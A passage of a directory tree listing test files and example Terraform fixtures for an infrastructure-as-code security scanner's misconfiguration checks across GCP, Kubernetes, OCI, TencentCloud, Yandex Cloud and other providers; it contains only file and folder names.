test_GoogleCloudPostgreSqlLogTemp.py │ │ │ │ ├── test_GoogleCloudSqlBackupConfiguration.py │ │ │ │ ├── test_GoogleCloudSqlDatabasePublicallyAccessible.py │ │ │ │ ├── test_GoogleCloudSqlDatabaseRequireSsl.py │ │ │ │ ├── test_GoogleCloudSqlServerContainedDBAuthentication.py │ │ │ │ ├── test_GoogleCloudSqlServerCrossDBOwnershipChaining.py │ │ │ │ ├── test_GoogleCloudSqlServerNoPublicIP.py │ │ │ │ ├── test_GoogleComputeBlockProjectSSH/ │ │ │ │ │ ├── google_compute_instance.tf │ │ │ │ │ ├── google_compute_instance_from_template.tf │ │ │ │ │ └── google_compute_instance_template.tf │ │ │ │ ├── test_GoogleComputeBlockProjectSSH.py │ │ │ │ ├── test_GoogleComputeBootDiskEncryption.py │ │ │ │ ├── test_GoogleComputeDefaultServiceAccount.py │ │ │ │ ├── test_GoogleComputeDefaultServiceAccountFullAccess.py │ │ │ │ ├── test_GoogleComputeDiskEncryption.py │ │ │ │ ├── test_GoogleComputeExternalIP.py │ │ │ │ ├── test_GoogleComputeFirewallUnrestrictedIngress20.py │ │ │ │ ├── test_GoogleComputeFirewallUnrestrictedIngress21.py │ │ │ │ ├── test_GoogleComputeFirewallUnrestrictedIngress22.py │ │ │ │ ├── test_GoogleComputeFirewallUnrestrictedIngress3306.py │ │ │ │ ├── test_GoogleComputeFirewallUnrestrictedIngress3389.py │ │ │ │ ├── test_GoogleComputeFirewallUnrestrictedIngress80.py │ │ │ │ ├── test_GoogleComputeIPForward.py │ │ │ │ ├── test_GoogleComputeInstanceOSLogin.py │ │ │ │ ├── test_GoogleComputeProjectOSLogin.py │ │ │ │ ├── test_GoogleComputeSSLPolicy.py │ │ │ │ ├── test_GoogleComputeSerialPorts.py │ │ │ │ ├── test_GoogleComputeShieldedVM.py │ │ │ │ ├── test_GoogleFolderBasicRole.py │ │ │ │ ├── test_GoogleFolderImpersonationRolesd.py │ │ │ │ ├── test_GoogleFolderMemberDefaultServiceAccount.py │ │ │ │ ├── test_GoogleIAMWorkloadIdentityConditional.py │ │ │ │ ├── test_GoogleKMSKeyIsPublic.py │ │ │ │ ├── test_GoogleKMSKeyRotationPeriod.py │ │ │ │ ├── test_GoogleKMSPreventDestroy.py │ │ │ │ ├── test_GoogleOrgBasicRole.py │ │ │ │ ├── test_GoogleOrgImpersonationRolest.py │ │ │ │ ├── test_GoogleOrgMemberDefaultServiceAccount.py │ │ │ │ ├── test_GoogleProjectAdminServiceAccount.py │ │ │ │ ├── test_GoogleProjectBasicRole.py │ │ │ │ ├── test_GoogleProjectDefaultNetwork.py │ │ │ │ ├── test_GoogleProjectImpersonationRoles.py │ │ │ │ ├── test_GoogleProjectMemberDefaultServiceAccount.py │ │ │ │ ├── test_GoogleRoleServiceAccountUser.py │ │ │ │ ├── test_GoogleStorageBucketNotPublic.py │ │ │ │ ├── test_GoogleStorageBucketUniformAccess.py │ │ │ │ ├── test_GoogleStoragePublicAccessPrevention.py │ │ │ │ ├── test_GoogleStorageVersioningEnabled.py │ │ │ │ ├── test_GoogleSubnetworkIPV6PrivateGoogleEnabled.py │ │ │ │ ├── test_GoogleSubnetworkLoggingEnabled.py │ │ │ │ ├── test_GoogleSubnetworkPrivateGoogleEnabled.py │ │ │ │ ├── test_GoogleVertexAINotebookShieldedVM.py │ │ │ │ ├── test_MemorystoreForRedisAuthEnabled.py │ │ │ │ ├── test_MemorystoreForRedisInTransitEncryption.py │ │ │ │ ├── test_PubSubPrivateTopic.py │ │ │ │ ├── test_SpannerDatabaseDeletionProtection.py │ │ │ │ ├── test_SpannerDatabaseDropProtection.py │ │ │ │ ├── test_SpannerDatabaseEncryptedWithCMK.py │ │ │ │ ├── test_VertexAIDatasetEncryptedWithCMK.py │ │ │ │ ├── test_VertexAIMetadataStoreEncryptedWithCMK.py │ │ │ │ ├── test_VertexAINotebookEnsureIntegrityMonitoring.py │ │ │ │ └── test_VertexAIPrivateInstance.py │ │ │ ├── github/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_BranchProtectionRequireSignedCommits/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_BranchProtectionReviewNumTwo/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RepositoryEnableVulnerabilityAlerts/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecretsEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_BranchProtectionRequiredSignedCommits.py │ │ │ │ ├── test_BranchProtectionReviewNumTwo.py │ │ │ │ ├── test_PrivateRepo.py │ │ │ │ ├── test_RepositoryVulnerabilityAlerts.py │ │ │ │ ├── test_SecretsEncrypted.py │ │ │ │ └── test_WebhookInsecureSsl.py │ │ │ ├── gitlab/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_ForcePushDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PreventSecretsEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RejectUnsignedCommits/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RequireTwoApprovalsToMerge/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_ForcePushDisabled.py │ │ │ │ ├── test_PreventSecretsEnabled.py │ │ │ │ ├── test_RejectUnsignedCommits.py │ │ │ │ └── test_RequireTwoApprovalsToMerge.py │ │ │ ├── kubernetes/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_AllowPrivilegeEscalation/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AllowPrivilegeEscalationPSP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AllowedCapabilities/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AllowedCapabilitiesPSP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AllowedCapabilitiesSysAdmin/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CPULimits/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CPURequests/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── main2.tf │ │ │ │ │ └── main3.tf │ │ │ │ ├── example_ContainerSecurityContext/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DangerousGitSync/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DefaultNamespace/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DefaultServiceAccount/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DefaultServiceAccountBinding/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DockerSocketVolume/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DropCapabilities/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DropCapabilitiesPSP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_HostPort/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── main3.tf │ │ │ │ ├── example_ImageDigest/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── main3.tf │ │ │ │ ├── example_ImagePullPolicyAlways/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── main3.tf │ │ │ │ ├── example_ImageTagFixed/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LivenessProbe/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── main3.tf │ │ │ │ ├── example_MemoryLimits/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── main2.tf │ │ │ │ │ └── main3.tf │ │ │ │ ├── example_MemoryRequests/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── main2.tf │ │ │ │ │ └── main3.tf │ │ │ │ ├── example_MinimiseCapabilities/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MinimiseCapabilitiesPSP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PodSecurityContext/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PrivilegedContainers/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PrivilegedContainersPSP/ │ │ │ │ │ └── psp.tf │ │ │ │ ├── example_ReadinessProbe/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── main3.tf │ │ │ │ ├── example_ReadonlyRootFilesystem/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RootContainerPSP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SeccompPSP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_Secrets/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ShareHostIPC/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ShareHostIPCPSP/ │ │ │ │ │ └── psp.tf │ │ │ │ ├── example_ShareHostPID/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ShareHostPIDPSP/ │ │ │ │ │ └── psp.tf │ │ │ │ ├── example_SharedHostNetworkNamespace/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SharedHostNetworkNamespacePSP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_Tiller/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_TillerService/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_WildcardRoles/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_AllowPrivilegeEscalation.py │ │ │ │ ├── test_AllowPrivilegeEscalationPSP.py │ │ │ │ ├── test_AllowedCapabilities.py │ │ │ │ ├── test_AllowedCapabilitiesPSP.py │ │ │ │ ├── test_AllowedCapabilitiesSysAdmin.py │ │ │ │ ├── test_CPULimits.py │ │ │ │ ├── test_CPURequests.py │ │ │ │ ├── test_ContainerSecurityContext.py │ │ │ │ ├── test_DangerousGitSync.py │ │ │ │ ├── test_DefaultNamespace.py │ │ │ │ ├── test_DefaultServiceAccount.py │ │ │ │ ├── test_DefaultServiceAccountBinding.py │ │ │ │ ├── test_DockerSocketVolume.py │ │ │ │ ├── test_DropCapabilities.py │ │ │ │ ├── test_DropCapabilitiesPSP.py │ │ │ │ ├── test_HostPort.py │ │ │ │ ├── test_ImageDigest.py │ │ │ │ ├── test_ImagePullPolicyAlways.py │ │ │ │ ├── test_ImageTagFixed.py │ │ │ │ ├── test_LivenessProbe.py │ │ │ │ ├── test_MemoryLimits.py │ │ │ │ ├── test_MemoryRequests.py │ │ │ │ ├── test_MinimiseCapabilities.py │ │ │ │ ├── test_MinimiseCapabilitiesPSP.py │ │ │ │ ├── test_PodSecurityContext.py │ │ │ │ ├── test_PrivilegedContainers.py │ │ │ │ ├── test_PrivilegedContainersPSP.py │ │ │ │ ├── test_ReadinessProbe.py │ │ │ │ ├── test_ReadonlyRootFilesystem.py │ │ │ │ ├── test_RootContainerPSP.py │ │ │ │ ├── test_SeccompPSP.py │ │ │ │ ├── test_Secrets.py │ │ │ │ ├── test_ShareHostIPC.py │ │ │ │ ├── test_ShareHostIPCPSP.py │ │ │ │ ├── test_ShareHostNetworkNamespace.py │ │ │ │ ├── test_ShareHostNetworkNamespacePSP.py │ │ │ │ ├── test_ShareHostPID.py │ │ │ │ ├── test_ShareHostPIDPSP.py │ │ │ │ ├── test_Tiller.py │ │ │ │ ├── test_TillerService.py │ │ │ │ └── test_WildcardRoles.py │ │ │ ├── linode/ │ │ │ │ ├── __init__.py │ │ │ │ ├── test_authorised_keys.py │ │ │ │ ├── test_firewall_inbound_policy.py │ │ │ │ ├── test_firewall_outbound_policy.py │ │ │ │ ├── test_user_email_set.py │ │ │ │ └── test_user_username_set.py │ │ │ ├── ncp/ │ │ │ │ ├── example_AccessControlGroupInboundRulePort22/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AccessControlGroupInboundRulePort3389/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AccessControlGroupInboundRulePort80/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AccessControlGroupOutboundRule/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AccessControlGroupRuleDescription/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LBListenerUsesSecureProtocols/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LBListenerUsingHTTPS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LBNetworkPrivate/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LBTargetGroupDefinesHealthCheck/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LBTargetGroupUsingHTTPS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LaunchConfigurationEncryptionVPC/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NACLInbound20/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NACLInbound21/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NACLInbound22/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NACLInbound3389/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NACLPortCheck/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NASEncryptionEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NKSControlPlaneLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NKSPublicAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RouteTableNATGatewayDefault/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ServerEncryptionVPC/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ServerPublicIP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_AccessControlGroupInboundRulePort22.py │ │ │ │ ├── test_AccessControlGroupInboundRulePort3389.py │ │ │ │ ├── test_AccessControlGroupInboundRulePort80.py │ │ │ │ ├── test_AccessControlGroupOutboundRule.py │ │ │ │ ├── test_AccessControlGroupRuleDescription.py │ │ │ │ ├── test_LBListenerUsesSecureProtocols.py │ │ │ │ ├── test_LBListenerUsingHTTPS.py │ │ │ │ ├── test_LBNetworkPrivate.py │ │ │ │ ├── test_LBTargetGroupDefinesHealthCheck.py │ │ │ │ ├── test_LBTargetGroupUsingHTTPS.py │ │ │ │ ├── test_LaunchConfigurationEncryptionVPC.py │ │ │ │ ├── test_NACLInbound20.py │ │ │ │ ├── test_NACLInbound21.py │ │ │ │ ├── test_NACLInbound22.py │ │ │ │ ├── test_NACLInbound3389.py │ │ │ │ ├── test_NACLPortCheck.py │ │ │ │ ├── test_NASEncryptionEnabled.py │ │ │ │ ├── test_NKSControlPlaneLogging.py │ │ │ │ ├── test_NKSPublicAccess.py │ │ │ │ ├── test_RouteTableNATGatewayDefault.py │ │ │ │ ├── test_ServerEncryptionVPC.py │ │ │ │ └── test_ServerPublicIP.py │ │ │ ├── oci/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_DataCatalogWithPublicAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_FileSystemEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMPasswordLength/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMPasswordPolicyLowerCase/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMPasswordPolicyNumeric/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMPasswordPolicySpecialCharacters/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMPasswordPolicyUpperCase/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_InstanceBootVolumeIntransitEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_InstanceMetadataServiceEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_InstanceMonitoringEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ObjectStorageEmitEvents/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ObjectStorageEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ObjectStoragePublic/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ObjectStorageVersioning/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityGroupUnrestrictedIngress22/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityGroupsIngressStatelessSecurityRules/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityListIngress/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityListIngressStateless/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityListIngressStatelessListSyntax/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityListUnrestrictedIngress22/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityListUnrestrictedIngress3389/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StorageBlockBackupEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StorageBlockEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_DataCatalogWithPublicAccess.py │ │ │ │ ├── test_FileSystemEncryption.py │ │ │ │ ├── test_IAMPasswordLength.py │ │ │ │ ├── test_IAMPasswordPolicyLowerCase.py │ │ │ │ ├── test_IAMPasswordPolicyNumeric.py │ │ │ │ ├── test_IAMPasswordPolicySpecialCharacters.py │ │ │ │ ├── test_IAMPasswordPolicyUpperCase.py │ │ │ │ ├── test_InstanceBootVolumeIntransitEncryption.py │ │ │ │ ├── test_InstanceMetadataServiceEnabled.py │ │ │ │ ├── test_InstanceMonitoringEnabled.py │ │ │ │ ├── test_ObjectStorageEmitEvents.py │ │ │ │ ├── test_ObjectStorageEncryption.py │ │ │ │ ├── test_ObjectStoragePublic.py │ │ │ │ ├── test_ObjectStorageVersioning.py │ │ │ │ ├── test_SecurityGroupUnrestrictedIngress22.py │ │ │ │ ├── test_SecurityGroupsIngressStatelessSecurityRules.py │ │ │ │ ├── test_SecurityListIngress.py │ │ │ │ ├── test_SecurityListIngressStateless.py │ │ │ │ ├── test_SecurityListIngressStatelessListSyntax.py │ │ │ │ ├── test_SecurityListUnrestrictedIngress22.py │ │ │ │ ├── test_SecurityListUnrestrictedIngress3389.py │ │ │ │ ├── test_StorageBlockBackupEnabled.py │ │ │ │ └── test_StorageBlockEncryption.py │ │ │ ├── okta/ │ │ │ │ ├── example_TwoFASignOnPolicyRule/ │ │ │ │ │ └── main.tf │ │ │ │ └── test_TwoFASignOnPolicyRule.py │ │ │ ├── openstack/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_ComputeInstanceAdminPassword/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_FirewallRuleSetDestinationIP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_ComputeInstanceAdminPassword.py │ │ │ │ ├── test_FirewallRuleSetDestinationIP.py │ │ │ │ ├── test_SecurityGroupUnrestrictedIngress22.py │ │ │ │ └── test_SecurityGroupUnrestrictedIngress3389.py │ │ │ ├── panos/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_InterfaceMgmtProfileNoHTTP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_InterfaceMgmtProfileNoTelnet/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NetworkIPsecAlgorithms/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NetworkIPsecAuthAlgorithms/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NetworkIPsecProtocols/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PolicyDescription/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PolicyLogForwarding/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PolicyLoggingEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PolicyNoApplicationAny/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PolicyNoDSRI/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PolicyNoServiceAny/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PolicyNoSrcAnyDstAny/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ZoneProtectionProfile/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ZoneUserIDIncludeACL/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_InterfaceMgmtProfileNoHTTP.py │ │ │ │ ├── test_InterfaceMgmtProfileNoTelnet.py │ │ │ │ ├── test_NetworkIPsecAlgorithms.py │ │ │ │ ├── test_NetworkIPsecAuthAlgorithms.py │ │ │ │ ├── test_NetworkIPsecProtocols.py │ │ │ │ ├── test_PolicyDescription.py │ │ │ │ ├── test_PolicyLogForwarding.py │ │ │ │ ├── test_PolicyLoggingEnabled.py │ │ │ │ ├── test_PolicyNoApplicationAny.py │ │ │ │ ├── test_PolicyNoDSRI.py │ │ │ │ ├── test_PolicyNoServiceAny.py │ │ │ │ ├── test_PolicyNoSrcAnyDstAny.py │ │ │ │ ├── test_ZoneProtectionProfile.py │ │ │ │ └── test_ZoneUserIDIncludeACL.py │ │ │ ├── registry/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_external_dir/ │ │ │ │ │ └── extra_checks/ │ │ │ │ │ ├── S3PCIPrivateACL.py │ │ │ │ │ └── __init__.py │ │ │ │ └── test_registry.py │ │ │ ├── tencentcloud/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_CBSEncryption/ │ │ │ │ │ └── tencentcloud_cbs_storage.tf │ │ │ │ ├── example_CDBInternetService/ │ │ │ │ │ └── tencentcloud_mysql_instance.tf │ │ │ │ ├── example_CDBIntranetPort/ │ │ │ │ │ └── tencentcloud_mysql_instance.tf │ │ │ │ ├── example_CLBInstanceLog/ │ │ │ │ │ └── tencentcloud_clb_instance.tf │ │ │ │ ├── example_CLBListenerProtocol/ │ │ │ │ │ └── tencentcloud_clb_listener.tf │ │ │ │ ├── example_CVMAllocatePublicIp/ │ │ │ │ │ └── tencentcloud_instance.tf │ │ │ │ ├── example_CVMDisableMonitorService/ │ │ │ │ │ └── tencentcloud_instance.tf │ │ │ │ ├── example_CVMUseDefaultSecurityGroup/ │ │ │ │ │ └── tencentcloud_instance.tf │ │ │ │ ├── example_CVMUseDefaultVPC/ │ │ │ │ │ └── tencentcloud_instance.tf │ │ │ │ ├── example_CVMUserData/ │ │ │ │ │ └── tencentcloud_instance.tf │ │ │ │ ├── example_TKELogAgentEnable/ │ │ │ │ │ └── tencentcloud_kubernetes_cluster.tf │ │ │ │ ├── example_TKEPublicIpAssigned/ │ │ │ │ │ └── tencentcloud_kubernetes_cluster.tf │ │ │ │ ├── example_VPCFlowLogConfigEnable/ │ │ │ │ │ └── tencentcloud_vpc_flow_log_config.tf │ │ │ │ ├── example_VPCSecurityGroupRuleSet/ │ │ │ │ │ └── tencentcloud_security_group_rule_set.tf │ │ │ │ ├── test_CBSEncryption.py │ │ │ │ ├── test_CDBInternetService.py │ │ │ │ ├── test_CDBIntranetPort.py │ │ │ │ ├── test_CLBInstanceLog.py │ │ │ │ ├── test_CLBListenerProtocol.py │ │ │ │ ├── test_CVMAllocatePublicIp.py │ │ │ │ ├── test_CVMDisableMonitorService.py │ │ │ │ ├── test_CVMUseDefaultSecurityGroup.py │ │ │ │ ├── test_CVMUseDefaultVPC.py │ │ │ │ ├── test_CVMUserData.py │ │ │ │ ├── test_TKELogAgentEnable.py │ │ │ │ ├── test_TKEPublicIpAssigned.py │ │ │ │ ├── test_VPCFlowLogConfigEnable.py │ │ │ │ └── test_VPCSecurityGroupRuleSet.py │ │ │ ├── test_base_resource_check.py │ │ │ ├── test_base_resource_dynamic_value_check.py │ │ │ ├── test_base_resource_negative_value_check.py │ │ │ ├── test_base_resource_value_check.py │ │ │ └── yandexcloud/ │ │ │ ├── __init__.py │ │ │ ├── example_ComputeInstanceGroupPublicIP/ │ │ │ │ └── main.tf │ │ │ ├── example_ComputeInstanceGroupSecurityGroup/ │ │ │ │ └── main.tf │ │ │ ├── example_ComputeVMPublicIP/ │ │ │ │ └── main.tf │ │ │ ├── example_ComputeVMSecurityGroup/ │ │ │ │ └── main.tf │ │ │ ├── example_ComputeVMSerialConsole/ │ │ │ │ └── main.tf │ │ │ ├── example_IAMCloudElevatedMembers/ │ │ │ │ └── main.tf │ │ │ ├── example_IAMFolderElevatedMembers/ │ │ │ │ └── main.tf │ │ │ ├── example_IAMOrganizationElevatedMembers/ │ │ │ │ └── main.tf │ │ │ ├── example_IAMPassportAccountUsage/ │ │ │ │ └── main.tf │ │ │ ├── example_K8SAutoUpgrade/ │ │ │ │ └── main.tf │ │ │ ├── example_K8SEtcdKMSEncryption/ │ │ │ │ └── main.tf │ │ │ ├── example_K8SNetworkPolicy/ │ │ │ │ └── main.tf │ │ │ ├── example_K8SNodeGroupAutoUpgrade/ │ │ │ │ └── main.tf │ │ │ ├── example_K8SNodeGroupPublicIP/ │ │ │ │ └── main.tf │ │ │ ├── example_K8SNodeGroupSecurityGroup/ │ │ │ │ └── main.tf │ │ │ ├── example_K8SPublicIP/ │ │ │ │ └── main.tf │ │ │ ├── example_K8SSecurityGroup/ │ │ │ │ └── main.tf │ │ │ ├── example_KMSSymmetricKeyRotation/ │ │ │ │ └── main.tf │ │ │ ├── example_MDBPublicIP/ │ │ │ │ └── main.tf │ │ │ ├── example_MDBSecurityGroup/ │ │ │ │ └── main.tf │ │ │ ├── example_ObjectStorageBucketEncryption/ │ │ │ │ └── main.tf │ │ │ ├── example_ObjectStorageBucketPublicAccess/ │ │ │ │ └── main.tf │ │ │ ├── example_VPCSecurityGroupAllowAll/ │ │ │ │ └── main.tf │ │ │ ├── example_VPCSecurityGroupRuleAllowAll/ │ │ │ │ └── main.tf │ │ │ ├── test_ComputeInstanceGroupPublicIP.py │ │ │ ├── test_ComputeInstanceGroupSecurityGroup.py │ │ │ ├── test_ComputeVMPublicIP.py │ │ │ ├── test_ComputeVMSecurityGroup.py │ │ │ ├── test_ComputeVMSerialConsole.py │ │ │ ├── test_IAMCloudElevatedMembers.py │ │ │ ├── test_IAMFolderElevatedMembers.py │ │ │ ├── test_IAMOrganizationElevatedMembers.py │ │ │ ├── test_IAMPassportAccountUsage.py │ │ │ ├── test_K8SAutoUpgrade.py │ │ │ ├── test_K8SEtcdKMSEncryption.py │ │ │ ├── test_K8SNetworkPolicy.py │ │ │ ├── test_K8SNodeGroupAutoUpgrade.py │ │ │ ├── test_K8SNodeGroupPublicIP.py │ │ │ ├── test_K8SNodeGroupSecurityGroup.py │ │ │ ├── test_K8SPublicIP.py │ │ │ ├── test_K8SSecurityGroup.py │ │ │ ├── test_KMSSymmetricKeyRotation.py │ │ │ ├── test_MDBPublicIP.py │ │ │ ├── test_MDBSecurityGroup.py │ │ │ ├── test_ObjectStorageBucketEncryption.py │ │ │ ├── test_ObjectStorageBucketPublicAccess.py │ │ │ ├── test_VPCSecurityGroupAllowAll.py │ │ │ └── test_VPCSecurityGroupRuleAllowAll.py │ │ ├── terraform/ │ │ │ └── terraform/ │ │ │ └── resources/ │ │ │ └── lock/ │ │ │ ├── fail.cdk.tf.json │ │ │ ├── pass.cdk.tf.json │ │ │ └── unknown_partialconfig.tf │ │ ├── test_base_resource_check.py │ │ └── test_wildcard_entities.py │ ├── context_parsers/ │ │ ├── __init__.py │ │ ├── mock_context_parser.py │ │ ├── mock_tf_files/ │ │ │ ├── inline_suppression.tf │ │ │ └── mock.tf │ │ ├── test_base_parser.py │ │ ├── test_locals_parser.py │ │ ├── test_parser_registry.py │ │ ├── test_variable_context_parser.py │ │ └── test_variable_context_parser2.py │ ├── evaluation/ │ │ ├── __init__.py │ │ └── resources/ │ │ ├── default_evaluation/ │ │ │ ├── main.tf │ │ │ └── variables.tf │ │ └── locals_evaluation/ │ │ └── main.tf │ ├── graph/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── custom_policies/ │ │ │ │ ├── CustomAwsEMRSecurityConfiguration.yaml │ │ │ │ ├── CustomPolicy1.yaml │ │ │ │ └── CustomPolicy2.yaml │ │ │ ├── resources/ │ │ │ │ ├── ACMWildcardDomainName/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── ADORepositoryHasMinTwoReviewers/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── ALBProtectedByWAF/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── ALBRedirectsHTTPToHTTPS/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── ALBWebACLConfiguredWIthLog4jVulnerability/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AMRClustersNotOpenToInternet/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── APIGWLoggingLevelsDefinedProperly/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── APIGatewayEndpointsUsesCertificateForAuthentication/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── APIGatewayMethodWOAuth/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── APIGatewayRequestParameterValidationEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── APIGatewayWebACLConfiguredWIthLog4jVulnerability/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── APIProtectedByWAF/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AWSConfigRecorderEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AWSNATGatewaysshouldbeutilized/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AWSSSMParametershouldbeEncrypted/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AWS_private_MWAA_environment/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AWSdisableS3ACL/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ 